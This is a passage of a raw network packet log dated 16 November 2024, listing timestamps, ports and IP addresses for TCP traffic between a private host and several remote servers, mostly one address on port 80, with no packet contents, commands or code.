Nov 16, 2024 19:22:30.473541975 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473583937 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.473592043 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473624945 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473638058 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.473690987 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473705053 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.473722935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473753929 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473757982 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.473787069 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473808050 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.473813057 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.473818064 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473829031 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.473867893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473867893 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.473918915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473949909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473961115 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.473983049 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474001884 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.474018097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474021912 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.474066019 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474097967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474112988 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.474145889 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474174976 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474205971 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474214077 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.474256039 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474302053 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.474334955 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474371910 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474410057 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.474420071 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474452972 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474483967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474493027 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.474515915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474543095 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474560976 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.474575043 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474621058 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.474626064 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474673033 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.474673986 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474705935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474746943 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.474771023 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474822998 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474869013 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.474874973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474922895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474953890 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.474956036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.474980116 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.474992037 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.475004911 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475037098 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475044012 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.475069046 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475115061 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.475116014 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475162983 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475209951 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475239992 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.475243092 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475265980 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.475270987 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475286007 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.475302935 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475338936 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.475357056 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475389004 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475421906 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475436926 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.475454092 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475486040 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475493908 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.475517988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475553989 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475565910 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.475584984 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475616932 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475624084 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.475646973 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475683928 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475696087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.475711107 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475743055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475750923 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.475791931 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475833893 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.475878954 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475919962 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.475929976 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.475956917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476003885 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476036072 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476049900 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.476063967 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476095915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476104021 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.476129055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476139069 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.476161003 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476238012 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476273060 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476285934 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.476306915 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476310968 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.476337910 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476380110 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.476387978 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476418972 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476452112 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476483107 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476494074 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.476504087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.476517916 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476538897 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.476547956 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476581097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476591110 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.476613045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476617098 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.476645947 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476676941 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476695061 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.476710081 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476725101 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.476742029 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476749897 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.476774931 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476805925 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476834059 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.476840019 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476862907 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.476871014 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.476891041 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.476908922 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.513459921 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.513479948 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.513495922 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.513566971 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.513580084 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.513627052 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.535010099 CET	443	49824	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.535080910 CET	443	49824	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.535418034 CET	49824	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.540221930 CET	443	49820	13.69.116.109	192.168.2.5
Nov 16, 2024 19:22:30.579148054 CET	443	49831	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.579675913 CET	443	49831	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.580979109 CET	49831	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.584775925 CET	49820	443	192.168.2.5	13.69.116.109
Nov 16, 2024 19:22:30.597671032 CET	49820	443	192.168.2.5	13.69.116.109
Nov 16, 2024 19:22:30.597714901 CET	443	49820	13.69.116.109	192.168.2.5
Nov 16, 2024 19:22:30.597846985 CET	443	49820	13.69.116.109	192.168.2.5
Nov 16, 2024 19:22:30.597935915 CET	49820	443	192.168.2.5	13.69.116.109
Nov 16, 2024 19:22:30.597980976 CET	49820	443	192.168.2.5	13.69.116.109
Nov 16, 2024 19:22:30.608933926 CET	443	49832	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.608987093 CET	443	49832	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.611428022 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.611522913 CET	49832	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.611567974 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.611627102 CET	443	49836	108.156.211.31	192.168.2.5
Nov 16, 2024 19:22:30.611629009 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.613718987 CET	49836	443	192.168.2.5	108.156.211.31
Nov 16, 2024 19:22:30.613749027 CET	443	49836	108.156.211.31	192.168.2.5
Nov 16, 2024 19:22:30.614346027 CET	443	49836	108.156.211.31	192.168.2.5
Nov 16, 2024 19:22:30.616180897 CET	49836	443	192.168.2.5	108.156.211.31
Nov 16, 2024 19:22:30.616275072 CET	443	49836	108.156.211.31	192.168.2.5
Nov 16, 2024 19:22:30.616355896 CET	49836	443	192.168.2.5	108.156.211.31
Nov 16, 2024 19:22:30.628906012 CET	49824	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.628906965 CET	49824	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.628981113 CET	443	49824	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.629013062 CET	443	49824	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.630882978 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.630911112 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.630983114 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.630984068 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.630995035 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.631167889 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.631246090 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.631253958 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.631340027 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.641844034 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.641885042 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.641912937 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.641930103 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.650391102 CET	49831	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.650391102 CET	49831	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.650408030 CET	443	49831	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.650418997 CET	443	49831	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.653043032 CET	49832	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.653043032 CET	49832	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.653064966 CET	443	49832	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.653075933 CET	443	49832	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.656152964 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.659295082 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.659360886 CET	443	49836	108.156.211.31	192.168.2.5
Nov 16, 2024 19:22:30.659374952 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.659810066 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.659825087 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.662298918 CET	49836	443	192.168.2.5	108.156.211.31
Nov 16, 2024 19:22:30.682506084 CET	49839	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.682555914 CET	443	49839	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.682806015 CET	49839	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.690824032 CET	49839	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.690844059 CET	443	49839	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.698158979 CET	49840	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.698247910 CET	443	49840	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.698319912 CET	49840	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.704127073 CET	49841	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.704153061 CET	443	49841	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.704215050 CET	49841	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.704619884 CET	49840	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.704663038 CET	443	49840	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.704849005 CET	49841	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.704873085 CET	443	49841	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.705298901 CET	49842	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.705326080 CET	443	49842	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.705461025 CET	49842	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.705645084 CET	49842	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.705668926 CET	443	49842	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.735766888 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.740623951 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.746835947 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.746854067 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.746964931 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.746965885 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.746977091 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.747136116 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.749736071 CET	49843	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.749767065 CET	443	49843	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:30.750072956 CET	49843	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.750072956 CET	49843	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.750112057 CET	443	49843	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:30.785901070 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.785928011 CET	443	49836	108.156.211.31	192.168.2.5
Nov 16, 2024 19:22:30.785975933 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.786078930 CET	443	49836	108.156.211.31	192.168.2.5
Nov 16, 2024 19:22:30.786144972 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.786233902 CET	49836	443	192.168.2.5	108.156.211.31
Nov 16, 2024 19:22:30.786454916 CET	49833	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.786489010 CET	443	49833	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.788878918 CET	49836	443	192.168.2.5	108.156.211.31
Nov 16, 2024 19:22:30.788902044 CET	443	49836	108.156.211.31	192.168.2.5
Nov 16, 2024 19:22:30.793813944 CET	49844	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.793860912 CET	443	49844	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.794075966 CET	49844	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.794430017 CET	49844	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.794445992 CET	443	49844	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.864459038 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.864484072 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.864559889 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.864567041 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.864620924 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.864620924 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.910687923 CET	443	49826	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.910785913 CET	49826	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.926795959 CET	49845	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.926814079 CET	443	49845	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:30.927274942 CET	49846	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.927310944 CET	49845	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.927325010 CET	443	49846	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:30.927462101 CET	49846	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.927719116 CET	49845	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.927727938 CET	443	49845	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:30.928268909 CET	49846	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.928282976 CET	49847	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.928287029 CET	443	49846	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:30.928297997 CET	443	49847	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:30.928481102 CET	49847	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.928565025 CET	49848	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.928601980 CET	443	49848	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:30.928740025 CET	49848	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.928770065 CET	49847	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.928777933 CET	443	49847	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:30.928940058 CET	49849	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.928997040 CET	443	49849	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:30.929085970 CET	49848	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.929097891 CET	443	49848	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:30.929114103 CET	49849	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.929219961 CET	49849	443	192.168.2.5	13.107.246.57
Nov 16, 2024 19:22:30.929251909 CET	443	49849	13.107.246.57	192.168.2.5
Nov 16, 2024 19:22:31.018099070 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018167973 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.018229008 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018261909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018296003 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018317938 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.018362045 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018389940 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.018405914 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.018426895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018460035 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018481016 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.018493891 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018524885 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018534899 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.018577099 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018608093 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018630981 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.018641949 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018661976 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.018690109 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018692017 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.018722057 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018754005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018760920 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.018786907 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018790960 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.018835068 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018842936 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.018867970 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018892050 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.018899918 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018934011 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018958092 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.018965006 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.018987894 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.018999100 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019011021 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.019031048 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019062996 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019068003 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.019093990 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019098043 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.019126892 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019160032 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019191980 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019212961 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.019223928 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019248009 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.019258022 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:31.019279003 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:31.019289017 CET	80	49770	185.215.113.206	192.168.2.5
